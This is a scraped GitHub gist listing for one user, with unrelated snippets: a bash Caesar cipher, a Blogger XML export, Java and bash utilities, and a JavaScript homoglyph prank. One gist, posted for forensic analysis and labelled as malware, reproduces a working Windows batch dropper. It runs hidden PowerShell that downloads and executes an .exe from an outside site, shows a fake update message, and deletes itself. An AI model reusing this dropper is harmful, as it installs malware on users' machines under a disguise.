Skip to content

Instantly share code, notes, and snippets.

View IQAndreas's full-sized avatar

Andreas Renberg IQAndreas

View GitHub Profile
@IQAndreas
IQAndreas / caesar-cipher.sh
Last active August 30, 2023 09:39
A really simple Caesar Cipher in Bash (or Shell) using `tr`, can also easily be adjusted to encrypt/decrypt ROT13 instead.
# Caesar cipher encoding
echo "THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG" | tr '[A-Z]' '[X-ZA-W]'
# output: QEB NRFZH YOLTK CLU GRJMP LSBO QEB IXWV ALD
# Caesar cipher decoding
echo "QEB NRFZH YOLTK CLU GRJMP LSBO QEB IXWV ALD" | tr '[X-ZA-W]' '[A-Z]'
# output: THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG
# Can also be adjusted to ROT13 instead
@IQAndreas
IQAndreas / blogspot-01-23-2012.xml
Created January 24, 2012 10:58
Error message for "Octopress Blogger Import Script"
<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4287406376578749857.archive</id><updated>2012-01-19T02:44:22.086-06:00</updated><category term='images'/><category term='flash'/><category term='solution'/><category term='setChildIndex'/><category term='development'/><category term='965'/><category term='soy tu aire'/><category term='ponycorns'/><category term='offline'/><category term='events'/><category term='reply'/><category term='adobe'/><category term='responds'/><category term='DisplayObject'/><category term='war'/><category term='volumeknob'/><category term='k2'/><category term='iqanderas'/><category term='set'/><category term='not'/><category term='player'/><category t
@IQAndreas
IQAndreas / chrome_update.bat
Created July 16, 2016 14:36
DO NOT RUN! This is malware. This batch file was automatically downloaded by Google Chrome from a website when it redirected to an advertisement. Posted here for forensic analysis.
@echo off
echo a=new ActiveXObject('Wscript.Shell');a.run("PowerShell -WindowStyle Hidden $d=$env:temp+'\\2a8e4da7858ebc8a788b7e303e06ab57.exe';(New-Object System.Net.WebClient).DownloadFile('https://ahsunachatdesign.net/17/528.dat',$d);Start-Process $d;[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');[system.windows.forms.messagebox]::show('Update complete.','Information',[Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Information)",0,false); >"%temp%\install_flash.js"
start /min "" wscript.exe "%temp%\install_flash.js"
DEL "%~f0
private static void rangeCheck(int arrayLen, int fromIndex, int toIndex) {
if (fromIndex > toIndex)
throw new IllegalArgumentException("fromIndex(" + fromIndex + ") > toIndex(" + toIndex+")");
if (fromIndex < 0)
throw new ArrayIndexOutOfBoundsException(fromIndex);
if (toIndex > arrayLen)
throw new ArrayIndexOutOfBoundsException(toIndex);
}
#!/bin/bash
# --------------------------------------------------------------------------- #
# Created by Andreas Renberg (https://github.com/IQAndreas)
# Based on work by Doctor J (https://stackoverflow.com/a/1403489/617937)
# This code is in the public domain and under no license.
# Well, my code at least. The ~8 lines by Doctor J still belong to him.
# --------------------------------------------------------------------------- #
# Personal notes: What if a file is named 'file.'?
@IQAndreas
IQAndreas / gist:b1870fa9af631ea814d396ba4ed02149
Last active March 3, 2017 20:38 — forked from larsiusprime/gist:2cff49cc973eba078a94b6c3358c7efb
Help me diagnose a black screen error on linux/mac

I believe these settings should be enough to reproduce the error.

platform: linux
bits: 64
haxe version: latest dev version

hxcpp: https://github.com/larsiusprime/hxcpp (master branch)

video_title="${video_title//&quot;/\'}"; # Replace &quot; with ' }";
video_title="${video_title//&#039;/\'}"; # Replace &#039; with ' }";
video_title="${video_title//&amp;/&}"; # Replace &amp; with &
video_title="${video_title//\//}"; # Remove forward slashes
@IQAndreas
IQAndreas / gist:5036465
Last active November 14, 2016 18:52
Their bracket placement and indentation is like some sick, twisted joke meant to confuse and torment me. (from http://opensteer.svn.sourceforge.net/viewvc/opensteer/trunk/plugins/Soccer.cpp?revision=181&view=markup ) It looks like the only problem is the "else" on line 14. Wrong, keep looking and it will start hurting your eyes.
if(collisionAvoidance != Vec3::zero)
applySteeringForce (collisionAvoidance, elapsedTime);
else
{
float distHomeToBall = Vec3::distance (m_home, m_Ball->position());
if( distHomeToBall < 12.0f)
{
// go for ball if I'm on the 'right' side of the ball
if( b_ImTeamA ? position().x > m_Ball->position().x : position().x < m_Ball->position().x)
{
@IQAndreas
IQAndreas / everything-i-know-is-a-lie.js
Created April 20, 2016 07:48
JavaScript ˮtrueˮ == "false". All credit goes to @FakeUnicode: https://twitter.com/FakeUnicode/status/722685252653727744
// Just hide this line somewhere deep inside your code where nobody will find it...
var ˮtrueˮ = "false";
// ...
if (ˮtrueˮ == "false") {
alert("There is no spoon.");
}